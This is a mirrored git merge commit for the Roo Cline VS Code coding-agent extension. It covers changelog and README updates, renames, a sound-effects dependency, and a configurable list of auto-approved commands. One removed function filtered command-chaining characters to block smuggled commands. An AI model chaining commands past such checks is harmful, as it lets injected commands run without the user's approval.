mirror of
https://github.com/RooVetGit/Roo-Code.git
synced 2026-08-28 05:27:24 +00:00
Merge branch 'main' of https://github.com/RooVetGit/Roo-Cline into feature/pupeteer-updates
This commit is contained in:
commit
cbdbd9bfe7
28 changed files with 2858 additions and 3951 deletions
233
CHANGELOG.md
233
CHANGELOG.md
|
|
@ -1,229 +1,38 @@
|
|||
# Change Log
|
||||
# Roo Cline Changelog
|
||||
|
||||
## Roo Cline 2.1.2
|
||||
## [2.1.10]
|
||||
|
||||
- Roo Cline now publishes to the VS Code Marketplace!
|
||||
- Incorporate HeavenOSK's [PR](https://github.com/cline/cline/pull/818) to add sound effects to Cline
|
||||
|
||||
## [2.1.9]
|
||||
|
||||
- Add instructions for using .clinerules on the settings screen
|
||||
|
||||
## [2.1.8]
|
||||
|
||||
- Roo Cline now allows configuration of which commands are allowed without approval!
|
||||
|
||||
## [2.1.7]
|
||||
|
||||
- Updated extension icon and metadata
|
||||
|
||||
## [2.1.6]
|
||||
|
||||
- Add LM Studio as an API provider option (make sure to start the LM Studio server to use it with the extension!)
|
||||
- Roo Cline now runs in all VSCode-compatible editors
|
||||
|
||||
## [2.1.5]
|
||||
|
||||
- Add support for prompt caching for new Claude model IDs on OpenRouter (e.g. `anthropic/claude-3.5-sonnet-20240620`)
|
||||
- Fix bug in browser action approval
|
||||
|
||||
## [2.1.4]
|
||||
|
||||
- AWS Bedrock fixes (add missing regions, support for cross-region inference, and older Sonnet model for regions where new model is not available)
|
||||
- Roo Cline now can run side-by-side with Cline
|
||||
|
||||
## [2.1.3]
|
||||
|
||||
- Add support for Claude 3.5 Haiku, 66% cheaper than Sonnet with similar intelligence
|
||||
- Roo Cline now allows browser actions without approval when `alwaysAllowBrowser` is true
|
||||
|
||||
## [2.1.2]
|
||||
|
||||
- Misc. bug fixes
|
||||
- Update README with new browser feature
|
||||
|
||||
## [2.1.1]
|
||||
|
||||
- Add stricter prompt to prevent Cline from editing files during a browser session without first closing the browser
|
||||
|
||||
## [2.1.0]
|
||||
|
||||
- Cline now uses Anthropic's new "Computer Use" feature to launch a browser, click, type, and scroll. This gives him more autonomy in runtime debugging, end-to-end testing, and even general web use. Try asking "Look up the weather in Colorado" to see it in action! (Available with Claude 3.5 Sonnet v2)
|
||||
|
||||
## [2.0.19]
|
||||
|
||||
- Fix model info for Claude 3.5 Sonnet v1 on OpenRouter
|
||||
|
||||
## [2.0.18]
|
||||
|
||||
- Add support for both v1 and v2 of Claude 3.5 Sonnet for GCP Vertex and AWS Bedrock (for cases where the new model is not enabled yet or unavailable in your region)
|
||||
|
||||
## [2.0.17]
|
||||
|
||||
- Update Anthropic model IDs
|
||||
|
||||
## [2.0.16]
|
||||
|
||||
- Adjustments to system prompt
|
||||
|
||||
## [2.0.15]
|
||||
|
||||
- Fix bug where modifying Cline's edits would lead him to try to re-apply the edits
|
||||
- Fix bug where weaker models would display file contents before using the write_to_file tool
|
||||
- Fix o1-mini and o1-preview errors when using OpenAI native
|
||||
|
||||
## [2.0.14]
|
||||
|
||||
- Gracefully cancel requests while stream could be hanging
|
||||
|
||||
## [2.0.13]
|
||||
|
||||
- Detect code omission and show warning with troubleshooting link
|
||||
|
||||
## [2.0.12]
|
||||
|
||||
- Keep cursor out of the way during file edit streaming animation
|
||||
|
||||
## [2.0.11]
|
||||
|
||||
- Adjust prompts around read_file to prevent re-reading files unnecessarily
|
||||
|
||||
## [2.0.10]
|
||||
|
||||
- More adjustments to system prompt to prevent lazy coding
|
||||
|
||||
## [2.0.9]
|
||||
|
||||
- Update system prompt to try to prevent Cline from lazy coding (`// rest of code here...`)
|
||||
|
||||
## [2.0.8]
|
||||
|
||||
- Fix o1-mini and o1-preview for OpenAI
|
||||
- Fix diff editor not opening sometimes in slow environments like project idx
|
||||
|
||||
## [2.0.7]
|
||||
|
||||
- Misc. bug fixes
|
||||
|
||||
## [2.0.6]
|
||||
|
||||
- Update URLs to https://github.com/cline/cline
|
||||
|
||||
## [2.0.5]
|
||||
|
||||
- Fixed bug where Cline's edits would stream into the active tab when switching tabs during a write_to_file
|
||||
- Added explanation in task continuation prompt that an interrupted write_to_file reverts the file to its original contents, preventing unnecessary re-reads
|
||||
- Fixed non-first chunk error handling in case stream fails mid-way through
|
||||
|
||||
## [2.0.0]
|
||||
|
||||
- New name! Meet Cline, an AI assistant that can use your CLI and Editor
|
||||
- Responses are now streamed with a yellow text decoration animation to keep track of Cline's progress as he edits files
|
||||
- New Cancel button to give Cline feedback if he goes off in the wrong direction, giving you more control over tasks
|
||||
- Re-imagined tool calling prompt resulting in ~40% fewer requests to accomplish tasks + better performance with other models
|
||||
- Search and use any model with OpenRouter
|
||||
|
||||
## [1.9.7]
|
||||
|
||||
- Only auto-include error diagnostics after file edits, removed warnings to keep Claude from getting distracted in projects with strict linting rules
|
||||
|
||||
## [1.9.6]
|
||||
|
||||
- Added support for new Google Gemini models `gemini-1.5-flash-002` and `gemini-1.5-pro-002`
|
||||
- Updated system prompt to be more lenient when terminal output doesn't stream back properly
|
||||
- Adjusted system prompt to prevent overuse of the inspect_site tool
|
||||
- Increased global line height for improved readability
|
||||
|
||||
## [1.9.0]
|
||||
|
||||
- Claude can now use a browser! This update adds a new `inspect_site` tool that captures screenshots and console logs from websites (including localhost), making it easier for Claude to troubleshoot issues on his own.
|
||||
- Improved automatic linter/compiler debugging by only sending Claude new errors that result from his edits, rather than reporting all workspace problems.
|
||||
|
||||
## [1.8.0]
|
||||
|
||||
- You can now use '@' in the textarea to add context!
|
||||
- @url: Paste in a URL for the extension to fetch and convert to markdown, useful when you want to give Claude the latest docs!
|
||||
- @problems: Add workspace errors and warnings for Claude to fix, no more back-and-forth about debugging
|
||||
- @file: Adds a file's contents so you don't have to waste API requests approving read file (+ type to search files)
|
||||
- @folder: Adds folder's files all at once to speed up your workflow even more
|
||||
|
||||
## [1.7.0]
|
||||
|
||||
- Adds problems monitoring to keep Claude updated on linter/compiler/build issues, letting him proactively fix errors on his own! (adding missing imports, fixing type errors, etc.)
|
||||
|
||||
## [1.6.5]
|
||||
|
||||
- Adds support for OpenAI o1, Azure OpenAI, and Google Gemini (free for up to 15 requests per minute!)
|
||||
- Task header can now be collapsed to provide more space for viewing conversations
|
||||
- Adds fuzzy search and sorting to Task History, making it easier to find specific tasks
|
||||
|
||||
## [1.6.0]
|
||||
|
||||
- Commands now run directly in your terminal thanks to VSCode 1.93's new shell integration updates! Plus a new 'Proceed While Running' button to let Claude continue working while commands run, sending him new output along the way (i.e. letting him react to server errors as he edits files)
|
||||
|
||||
## [1.5.27]
|
||||
|
||||
- Claude's changes now appear in your file's Timeline, allowing you to easily view a diff of each edit. This is especially helpful if you want to revert to a previous version. No need for git—everything is tracked by VSCode's local history!
|
||||
- Updated system prompt to keep Claude from re-reading files unnecessarily
|
||||
|
||||
## [1.5.19]
|
||||
|
||||
- Adds support for OpenAI compatible API providers (e.g. Ollama!)
|
||||
|
||||
## [1.5.13]
|
||||
|
||||
- New terminal emulator! When Claude runs commands, you can now type directly in the terminal (+ support for Python environments)
|
||||
- Adds search to Task History
|
||||
|
||||
## [1.5.6]
|
||||
|
||||
- You can now edit Claude's changes before accepting! When he edits or creates a file, you can modify his changes directly in the right side of the diff view (+ hover over the 'Revert Block' arrow button in the center to undo `// rest of code here` shenanigans)
|
||||
|
||||
## [1.5.4]
|
||||
|
||||
- Adds support for reading .pdf and .docx files (try "turn my business_plan.docx into a company website")
|
||||
|
||||
## [1.5.0]
|
||||
|
||||
- Adds new `search_files` tool that lets Claude perform regex searches in your project, making it easy for him to refactor code, address TODOs and FIXMEs, remove dead code, and more!
|
||||
|
||||
## [1.4.0]
|
||||
|
||||
- Adds "Always allow read-only operations" setting to let Claude read files and view directories without needing approval (off by default)
|
||||
- Implement sliding window context management to keep tasks going past 200k tokens
|
||||
- Adds Google Cloud Vertex AI support and updates Claude 3.5 Sonnet max output to 8192 tokens for all providers.
|
||||
- Improves system prompt to gaurd against lazy edits (less "//rest of code here")
|
||||
|
||||
## [1.3.0]
|
||||
|
||||
- Adds task history
|
||||
|
||||
## [1.2.0]
|
||||
|
||||
- Adds support for Prompt Caching to significantly reduce costs and response times (currently only available through Anthropic API for Claude 3.5 Sonnet and Claude 3.0 Haiku)
|
||||
|
||||
## [1.1.1]
|
||||
|
||||
- Adds option to choose other Claude models (+ GPT-4o, DeepSeek, and Mistral if you use OpenRouter)
|
||||
- Adds option to add custom instructions to the end of the system prompt
|
||||
|
||||
## [1.1.0]
|
||||
|
||||
- Paste images in chat to use Claude's vision capabilities and turn mockups into fully functional applications or fix bugs with screenshots
|
||||
|
||||
## [1.0.9]
|
||||
|
||||
- Add support for OpenRouter and AWS Bedrock
|
||||
|
||||
## [1.0.8]
|
||||
|
||||
- Shows diff view of new or edited files right in the editor
|
||||
|
||||
## [1.0.7]
|
||||
|
||||
- Replace `list_files` and `analyze_project` with more explicit `list_files_top_level`, `list_files_recursive`, and `view_source_code_definitions_top_level` to get source code definitions only for files relevant to the task
|
||||
|
||||
## [1.0.6]
|
||||
|
||||
- Interact with CLI commands by sending messages to stdin and terminating long-running processes like servers
|
||||
- Export tasks to markdown files (useful as context for future tasks)
|
||||
|
||||
## [1.0.5]
|
||||
|
||||
- Claude now has context about vscode's visible editors and opened tabs
|
||||
|
||||
## [1.0.4]
|
||||
|
||||
- Open in the editor (using menu bar or `Claude Dev: Open In New Tab` in command palette) to see how Claude updates your workspace more clearly
|
||||
- New `analyze_project` tool to help Claude get a comprehensive overview of your project's source code definitions and file structure
|
||||
- Provide feedback to tool use like terminal commands and file edits
|
||||
- Updated max output tokens to 8192 so less lazy coding (`// rest of code here...`)
|
||||
- Added ability to retry failed API requests (helpful for rate limits)
|
||||
- Quality of life improvements like markdown rendering, memory optimizations, better theme support
|
||||
|
||||
## [0.0.6]
|
||||
|
||||
- Initial release
|
||||
- Support for auto-approval of write operations and command execution
|
||||
- Support for .clinerules custom instructions
|
||||
|
|
@ -44,7 +44,7 @@
|
|||
|
||||
**Note:** The VSIX file is checked into the git repository's `bin/` directory for easy distribution.
|
||||
|
||||
After installation, Roo Cline will appear in your Cursor's installed extensions list. You can verify this by opening Cursor's Extensions panel (Cmd/Ctrl+Shift+X) and checking under the "Installed" section.
|
||||
After installation, Roo Cline will appear in your VSCode-compatible editor's installed extensions list. You can verify this by opening your editor's Extensions panel (Cmd/Ctrl+Shift+X) and checking under the "Installed" section.
|
||||
|
||||
### Publishing
|
||||
|
||||
|
|
@ -100,7 +100,7 @@ Each browser action provides feedback through screenshots and console logs, allo
|
|||
<table>
|
||||
<tbody>
|
||||
<td align="center">
|
||||
<a href="https://marketplace.visualstudio.com/items?itemName=saoudrizwan.claude-dev" target="_blank"><strong>Download on VS Marketplace</strong></a>
|
||||
<a href="https://marketplace.visualstudio.com/items?itemName=RooVeterinaryInc.roo-cline" target="_blank"><strong>Download on VS Marketplace</strong></a>
|
||||
</td>
|
||||
<td align="center">
|
||||
<a href="https://discord.gg/cline" target="_blank"><strong>Join the Discord</strong></a>
|
||||
|
|
|
|||
Binary file not shown.
|
Before Width: | Height: | Size: 9.2 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 11 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 718 B |
Binary file not shown.
|
Before Width: | Height: | Size: 689 B |
BIN
assets/icons/rocket.png
Normal file
BIN
assets/icons/rocket.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 2.1 KiB |
BIN
audio/celebration.wav
Normal file
BIN
audio/celebration.wav
Normal file
Binary file not shown.
BIN
audio/notification.wav
Normal file
BIN
audio/notification.wav
Normal file
Binary file not shown.
BIN
audio/progress_loop.wav
Normal file
BIN
audio/progress_loop.wav
Normal file
Binary file not shown.
|
|
@ -32,8 +32,8 @@ export class OpenRouterHandler {
|
|||
headers: {
|
||||
"Authorization": `Bearer ${this.apiKey}`,
|
||||
"Content-Type": "application/json",
|
||||
"HTTP-Referer": "https://github.com/mattvr/roo-cline",
|
||||
"X-Title": "Cline CLI"
|
||||
"HTTP-Referer": "https://github.com/RooVetGit/Roo-Cline",
|
||||
"X-Title": "Roo Cline"
|
||||
},
|
||||
body: JSON.stringify({
|
||||
model: this.model,
|
||||
|
|
|
|||
24
package-lock.json
generated
24
package-lock.json
generated
|
|
@ -1,12 +1,12 @@
|
|||
{
|
||||
"name": "roo-cline",
|
||||
"version": "2.1.2",
|
||||
"version": "2.1.10",
|
||||
"lockfileVersion": 3,
|
||||
"requires": true,
|
||||
"packages": {
|
||||
"": {
|
||||
"name": "roo-cline",
|
||||
"version": "2.1.2",
|
||||
"version": "2.1.10",
|
||||
"dependencies": {
|
||||
"@anthropic-ai/bedrock-sdk": "^0.10.2",
|
||||
"@anthropic-ai/sdk": "^0.26.0",
|
||||
|
|
@ -32,6 +32,7 @@
|
|||
"os-name": "^6.0.0",
|
||||
"p-wait-for": "^5.0.2",
|
||||
"pdf-parse": "^1.1.1",
|
||||
"play-sound": "^1.1.6",
|
||||
"puppeteer": "^23.9.0",
|
||||
"serialize-error": "^11.0.3",
|
||||
"strip-ansi": "^7.1.0",
|
||||
|
|
@ -58,7 +59,7 @@
|
|||
"typescript": "^5.4.5"
|
||||
},
|
||||
"engines": {
|
||||
"vscode": "1.93.1"
|
||||
"vscode": "^1.93.1"
|
||||
}
|
||||
},
|
||||
"node_modules/@ampproject/remapping": {
|
||||
|
|
@ -9410,6 +9411,14 @@
|
|||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/find-exec": {
|
||||
"version": "1.0.3",
|
||||
"resolved": "https://registry.npmjs.org/find-exec/-/find-exec-1.0.3.tgz",
|
||||
"integrity": "sha512-gnG38zW90mS8hm5smNcrBnakPEt+cGJoiMkJwCU0IYnEb0H2NQk0NIljhNW+48oniCriFek/PH6QXbwsJo/qug==",
|
||||
"dependencies": {
|
||||
"shell-quote": "^1.8.1"
|
||||
}
|
||||
},
|
||||
"node_modules/find-up": {
|
||||
"version": "5.0.0",
|
||||
"resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",
|
||||
|
|
@ -13510,6 +13519,14 @@
|
|||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/play-sound": {
|
||||
"version": "1.1.6",
|
||||
"resolved": "https://registry.npmjs.org/play-sound/-/play-sound-1.1.6.tgz",
|
||||
"integrity": "sha512-09eO4QiXNFXJffJaOW5P6x6F5RLihpLUkXttvUZeWml0fU6x6Zp7AjG9zaeMpgH2ZNvq4GR1ytB22ddYcqJIZA==",
|
||||
"dependencies": {
|
||||
"find-exec": "1.0.3"
|
||||
}
|
||||
},
|
||||
"node_modules/possible-typed-array-names": {
|
||||
"version": "1.0.0",
|
||||
"resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.0.0.tgz",
|
||||
|
|
@ -14456,7 +14473,6 @@
|
|||
"version": "1.8.2",
|
||||
"resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.2.tgz",
|
||||
"integrity": "sha512-AzqKpGKjrj7EM6rKVQEPpB288oCfnrEIuyoT9cyF4nmGa7V8Zk6f7RRqYisX8X9m+Q7bd632aZW4ky7EhbQztA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">= 0.4"
|
||||
|
|
|
|||
66
package.json
66
package.json
|
|
@ -1,9 +1,9 @@
|
|||
{
|
||||
"name": "roo-cline",
|
||||
"displayName": "Roo Cline",
|
||||
"description": "Autonomous coding agent right in your IDE, capable of creating/editing files, running commands, using the browser, and more with your permission every step of the way.",
|
||||
"description": "A fork of Cline, an autonomous coding agent, with some added experimental configuration and automation features.",
|
||||
"publisher": "RooVeterinaryInc",
|
||||
"version": "2.1.2",
|
||||
"version": "2.1.10",
|
||||
"files": [
|
||||
"assets/icons/icon_Roo.png"
|
||||
],
|
||||
|
|
@ -13,7 +13,7 @@
|
|||
"theme": "dark"
|
||||
},
|
||||
"engines": {
|
||||
"vscode": "1.93.1"
|
||||
"vscode": "^1.93.1"
|
||||
},
|
||||
"author": {
|
||||
"name": "Roo Vet"
|
||||
|
|
@ -22,7 +22,7 @@
|
|||
"type": "git",
|
||||
"url": "https://github.com/RooVetGit/Roo-Cline"
|
||||
},
|
||||
"homepage": "https://cline.bot",
|
||||
"homepage": "https://github.com/RooVetGit/Roo-Cline",
|
||||
"categories": [
|
||||
"AI",
|
||||
"Chat",
|
||||
|
|
@ -50,78 +50,89 @@
|
|||
"viewsContainers": {
|
||||
"activitybar": [
|
||||
{
|
||||
"id": "claude-dev-ActivityBar",
|
||||
"title": "Cline",
|
||||
"icon": "$(robot)"
|
||||
"id": "roo-cline-ActivityBar",
|
||||
"title": "Roo Cline",
|
||||
"icon": "$(rocket)"
|
||||
}
|
||||
]
|
||||
},
|
||||
"views": {
|
||||
"claude-dev-ActivityBar": [
|
||||
"roo-cline-ActivityBar": [
|
||||
{
|
||||
"type": "webview",
|
||||
"id": "claude-dev.SidebarProvider",
|
||||
"id": "roo-cline.SidebarProvider",
|
||||
"name": ""
|
||||
}
|
||||
]
|
||||
},
|
||||
"commands": [
|
||||
{
|
||||
"command": "cline.plusButtonClicked",
|
||||
"command": "roo-cline.plusButtonClicked",
|
||||
"title": "New Task",
|
||||
"icon": "$(add)"
|
||||
},
|
||||
{
|
||||
"command": "cline.historyButtonClicked",
|
||||
"command": "roo-cline.historyButtonClicked",
|
||||
"title": "History",
|
||||
"icon": "$(history)"
|
||||
},
|
||||
{
|
||||
"command": "cline.popoutButtonClicked",
|
||||
"command": "roo-cline.popoutButtonClicked",
|
||||
"title": "Open in Editor",
|
||||
"icon": "$(link-external)"
|
||||
},
|
||||
{
|
||||
"command": "cline.settingsButtonClicked",
|
||||
"command": "roo-cline.settingsButtonClicked",
|
||||
"title": "Settings",
|
||||
"icon": "$(settings-gear)"
|
||||
},
|
||||
{
|
||||
"command": "cline.openInNewTab",
|
||||
"command": "roo-cline.openInNewTab",
|
||||
"title": "Open In New Tab",
|
||||
"category": "Cline"
|
||||
"category": "Roo Cline"
|
||||
}
|
||||
],
|
||||
"menus": {
|
||||
"view/title": [
|
||||
{
|
||||
"command": "cline.plusButtonClicked",
|
||||
"command": "roo-cline.plusButtonClicked",
|
||||
"group": "navigation@1",
|
||||
"when": "view == claude-dev.SidebarProvider"
|
||||
"when": "view == roo-cline.SidebarProvider"
|
||||
},
|
||||
{
|
||||
"command": "cline.historyButtonClicked",
|
||||
"command": "roo-cline.historyButtonClicked",
|
||||
"group": "navigation@2",
|
||||
"when": "view == claude-dev.SidebarProvider"
|
||||
"when": "view == roo-cline.SidebarProvider"
|
||||
},
|
||||
{
|
||||
"command": "cline.popoutButtonClicked",
|
||||
"command": "roo-cline.popoutButtonClicked",
|
||||
"group": "navigation@3",
|
||||
"when": "view == claude-dev.SidebarProvider"
|
||||
"when": "view == roo-cline.SidebarProvider"
|
||||
},
|
||||
{
|
||||
"command": "cline.settingsButtonClicked",
|
||||
"command": "roo-cline.settingsButtonClicked",
|
||||
"group": "navigation@4",
|
||||
"when": "view == claude-dev.SidebarProvider"
|
||||
"when": "view == roo-cline.SidebarProvider"
|
||||
}
|
||||
]
|
||||
},
|
||||
"configuration": {
|
||||
"title": "RooCline",
|
||||
"properties": {
|
||||
"cline.alwaysAllowBrowser": {
|
||||
"type": "boolean",
|
||||
"default": false,
|
||||
"description": "Always allow browser actions without requiring confirmation"
|
||||
"roo-cline.allowedCommands": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"npm test",
|
||||
"npm install",
|
||||
"tsc",
|
||||
"git log",
|
||||
"git diff",
|
||||
"git show"
|
||||
],
|
||||
"description": "Commands that can be auto-executed when 'Always approve execute operations' is enabled"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -193,6 +204,7 @@
|
|||
"p-wait-for": "^5.0.2",
|
||||
"pdf-parse": "^1.1.1",
|
||||
"puppeteer": "^23.9.0",
|
||||
"play-sound": "^1.1.6",
|
||||
"serialize-error": "^11.0.3",
|
||||
"strip-ansi": "^7.1.0",
|
||||
"tree-sitter-wasms": "^0.1.11",
|
||||
|
|
|
|||
|
|
@ -56,16 +56,6 @@ type UserContent = Array<
|
|||
Anthropic.TextBlockParam | Anthropic.ImageBlockParam | Anthropic.ToolUseBlockParam | Anthropic.ToolResultBlockParam
|
||||
>
|
||||
|
||||
const ALLOWED_AUTO_EXECUTE_COMMANDS = [
|
||||
'npm',
|
||||
'npx',
|
||||
'tsc',
|
||||
'git log',
|
||||
'git diff',
|
||||
'git show',
|
||||
'list'
|
||||
] as const
|
||||
|
||||
export class Cline {
|
||||
readonly taskId: string
|
||||
api: ApiHandler
|
||||
|
|
@ -76,10 +66,6 @@ export class Cline {
|
|||
private isInteractiveMode: boolean = false
|
||||
private browserPort: string = '7333'
|
||||
customInstructions?: string
|
||||
alwaysAllowReadOnly: boolean
|
||||
alwaysAllowWrite: boolean
|
||||
alwaysAllowExecute: boolean
|
||||
alwaysAllowBrowser: boolean
|
||||
|
||||
apiConversationHistory: Anthropic.MessageParam[] = []
|
||||
clineMessages: ClineMessage[] = []
|
||||
|
|
@ -109,10 +95,6 @@ export class Cline {
|
|||
provider: ClineProvider,
|
||||
apiConfiguration: ApiConfiguration,
|
||||
customInstructions?: string,
|
||||
alwaysAllowReadOnly?: boolean,
|
||||
alwaysAllowWrite?: boolean,
|
||||
alwaysAllowExecute?: boolean,
|
||||
alwaysAllowBrowser?: boolean,
|
||||
task?: string,
|
||||
images?: string[],
|
||||
historyItem?: HistoryItem,
|
||||
|
|
@ -124,10 +106,6 @@ export class Cline {
|
|||
this.browserSession = new BrowserSession(provider.context)
|
||||
this.diffViewProvider = new DiffViewProvider(cwd)
|
||||
this.customInstructions = customInstructions
|
||||
this.alwaysAllowReadOnly = alwaysAllowReadOnly ?? false
|
||||
this.alwaysAllowWrite = alwaysAllowWrite ?? false
|
||||
this.alwaysAllowExecute = alwaysAllowExecute ?? false
|
||||
this.alwaysAllowBrowser = alwaysAllowBrowser ?? false
|
||||
|
||||
if (historyItem) {
|
||||
this.taskId = historyItem.id
|
||||
|
|
@ -140,25 +118,6 @@ export class Cline {
|
|||
}
|
||||
}
|
||||
|
||||
private isAllowedCommand(command?: string): boolean {
|
||||
if (!command) {
|
||||
return false;
|
||||
}
|
||||
// Check for command chaining characters
|
||||
if (command.includes('&&') ||
|
||||
command.includes(';') ||
|
||||
command.includes('||') ||
|
||||
command.includes('|') ||
|
||||
command.includes('$(') ||
|
||||
command.includes('`')) {
|
||||
return false;
|
||||
}
|
||||
const trimmedCommand = command.trim().toLowerCase();
|
||||
return ALLOWED_AUTO_EXECUTE_COMMANDS.some(prefix =>
|
||||
trimmedCommand.startsWith(prefix.toLowerCase())
|
||||
);
|
||||
}
|
||||
|
||||
// Storing task to disk for history
|
||||
|
||||
private async ensureTaskDirectoryExists(): Promise<string> {
|
||||
|
|
@ -1142,11 +1101,7 @@ export class Cline {
|
|||
if (block.partial) {
|
||||
// update gui message
|
||||
const partialMessage = JSON.stringify(sharedMessageProps)
|
||||
if (this.alwaysAllowWrite) {
|
||||
await this.say("tool", partialMessage, undefined, block.partial)
|
||||
} else {
|
||||
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
||||
}
|
||||
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
||||
// update editor
|
||||
if (!this.diffViewProvider.isEditing) {
|
||||
// open the editor and prepare to stream content in
|
||||
|
|
@ -1176,11 +1131,7 @@ export class Cline {
|
|||
if (!this.diffViewProvider.isEditing) {
|
||||
// show gui message before showing edit animation
|
||||
const partialMessage = JSON.stringify(sharedMessageProps)
|
||||
if (this.alwaysAllowWrite) {
|
||||
await this.say("tool", partialMessage, undefined, true)
|
||||
} else {
|
||||
await this.ask("tool", partialMessage, true).catch(() => {}) // sending true for partial even though it's not a partial, this shows the edit row before the content is streamed into the editor
|
||||
}
|
||||
await this.ask("tool", partialMessage, true).catch(() => {}) // sending true for partial even though it's not a partial, this shows the edit row before the content is streamed into the editor
|
||||
await this.diffViewProvider.open(relPath)
|
||||
}
|
||||
await this.diffViewProvider.update(newContent, true)
|
||||
|
|
@ -1199,7 +1150,7 @@ export class Cline {
|
|||
)
|
||||
: undefined,
|
||||
} satisfies ClineSayTool)
|
||||
const didApprove = this.alwaysAllowWrite || (await askApproval("tool", completeMessage))
|
||||
const didApprove = await askApproval("tool", completeMessage)
|
||||
if (!didApprove) {
|
||||
await this.diffViewProvider.revertChanges()
|
||||
break
|
||||
|
|
@ -1252,11 +1203,7 @@ export class Cline {
|
|||
...sharedMessageProps,
|
||||
content: undefined,
|
||||
} satisfies ClineSayTool)
|
||||
if (this.alwaysAllowReadOnly) {
|
||||
await this.say("tool", partialMessage, undefined, block.partial)
|
||||
} else {
|
||||
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
||||
}
|
||||
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
||||
break
|
||||
} else {
|
||||
if (!relPath) {
|
||||
|
|
@ -1270,13 +1217,9 @@ export class Cline {
|
|||
...sharedMessageProps,
|
||||
content: absolutePath,
|
||||
} satisfies ClineSayTool)
|
||||
if (this.alwaysAllowReadOnly) {
|
||||
await this.say("tool", completeMessage, undefined, false) // need to be sending partialValue bool, since undefined has its own purpose in that the message is treated neither as a partial or completion of a partial, but as a single complete message
|
||||
} else {
|
||||
const didApprove = await askApproval("tool", completeMessage)
|
||||
if (!didApprove) {
|
||||
break
|
||||
}
|
||||
const didApprove = await askApproval("tool", completeMessage)
|
||||
if (!didApprove) {
|
||||
break
|
||||
}
|
||||
// now execute the tool like normal
|
||||
const content = await extractTextFromFile(absolutePath)
|
||||
|
|
@ -1302,11 +1245,7 @@ export class Cline {
|
|||
...sharedMessageProps,
|
||||
content: "",
|
||||
} satisfies ClineSayTool)
|
||||
if (this.alwaysAllowReadOnly) {
|
||||
await this.say("tool", partialMessage, undefined, block.partial)
|
||||
} else {
|
||||
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
||||
}
|
||||
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
||||
break
|
||||
} else {
|
||||
if (!relDirPath) {
|
||||
|
|
@ -1322,13 +1261,9 @@ export class Cline {
|
|||
...sharedMessageProps,
|
||||
content: result,
|
||||
} satisfies ClineSayTool)
|
||||
if (this.alwaysAllowReadOnly) {
|
||||
await this.say("tool", completeMessage, undefined, false)
|
||||
} else {
|
||||
const didApprove = await askApproval("tool", completeMessage)
|
||||
if (!didApprove) {
|
||||
break
|
||||
}
|
||||
const didApprove = await askApproval("tool", completeMessage)
|
||||
if (!didApprove) {
|
||||
break
|
||||
}
|
||||
pushToolResult(result)
|
||||
break
|
||||
|
|
@ -1350,11 +1285,7 @@ export class Cline {
|
|||
...sharedMessageProps,
|
||||
content: "",
|
||||
} satisfies ClineSayTool)
|
||||
if (this.alwaysAllowReadOnly) {
|
||||
await this.say("tool", partialMessage, undefined, block.partial)
|
||||
} else {
|
||||
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
||||
}
|
||||
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
||||
break
|
||||
} else {
|
||||
if (!relDirPath) {
|
||||
|
|
@ -1371,13 +1302,9 @@ export class Cline {
|
|||
...sharedMessageProps,
|
||||
content: result,
|
||||
} satisfies ClineSayTool)
|
||||
if (this.alwaysAllowReadOnly) {
|
||||
await this.say("tool", completeMessage, undefined, false)
|
||||
} else {
|
||||
const didApprove = await askApproval("tool", completeMessage)
|
||||
if (!didApprove) {
|
||||
break
|
||||
}
|
||||
const didApprove = await askApproval("tool", completeMessage)
|
||||
if (!didApprove) {
|
||||
break
|
||||
}
|
||||
pushToolResult(result)
|
||||
break
|
||||
|
|
@ -1403,11 +1330,7 @@ export class Cline {
|
|||
...sharedMessageProps,
|
||||
content: "",
|
||||
} satisfies ClineSayTool)
|
||||
if (this.alwaysAllowReadOnly) {
|
||||
await this.say("tool", partialMessage, undefined, block.partial)
|
||||
} else {
|
||||
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
||||
}
|
||||
await this.ask("tool", partialMessage, block.partial).catch(() => {})
|
||||
break
|
||||
} else {
|
||||
if (!relDirPath) {
|
||||
|
|
@ -1427,13 +1350,9 @@ export class Cline {
|
|||
...sharedMessageProps,
|
||||
content: results,
|
||||
} satisfies ClineSayTool)
|
||||
if (this.alwaysAllowReadOnly) {
|
||||
await this.say("tool", completeMessage, undefined, false)
|
||||
} else {
|
||||
const didApprove = await askApproval("tool", completeMessage)
|
||||
if (!didApprove) {
|
||||
break
|
||||
}
|
||||
const didApprove = await askApproval("tool", completeMessage)
|
||||
if (!didApprove) {
|
||||
break
|
||||
}
|
||||
pushToolResult(results)
|
||||
break
|
||||
|
|
@ -1462,24 +1381,11 @@ export class Cline {
|
|||
try {
|
||||
if (block.partial) {
|
||||
if (action === "launch") {
|
||||
if (this.alwaysAllowBrowser) {
|
||||
await this.say(
|
||||
"browser_action",
|
||||
JSON.stringify({
|
||||
action: action as BrowserAction,
|
||||
coordinate: undefined,
|
||||
text: undefined
|
||||
} satisfies ClineSayBrowserAction),
|
||||
undefined,
|
||||
block.partial
|
||||
)
|
||||
} else {
|
||||
await this.ask(
|
||||
"browser_action_launch",
|
||||
removeClosingTag("url", url),
|
||||
block.partial
|
||||
).catch(() => {})
|
||||
}
|
||||
await this.ask(
|
||||
"browser_action_launch",
|
||||
removeClosingTag("url", url),
|
||||
block.partial
|
||||
).catch(() => {})
|
||||
} else {
|
||||
await this.say(
|
||||
"browser_action",
|
||||
|
|
@ -1504,7 +1410,7 @@ export class Cline {
|
|||
}
|
||||
|
||||
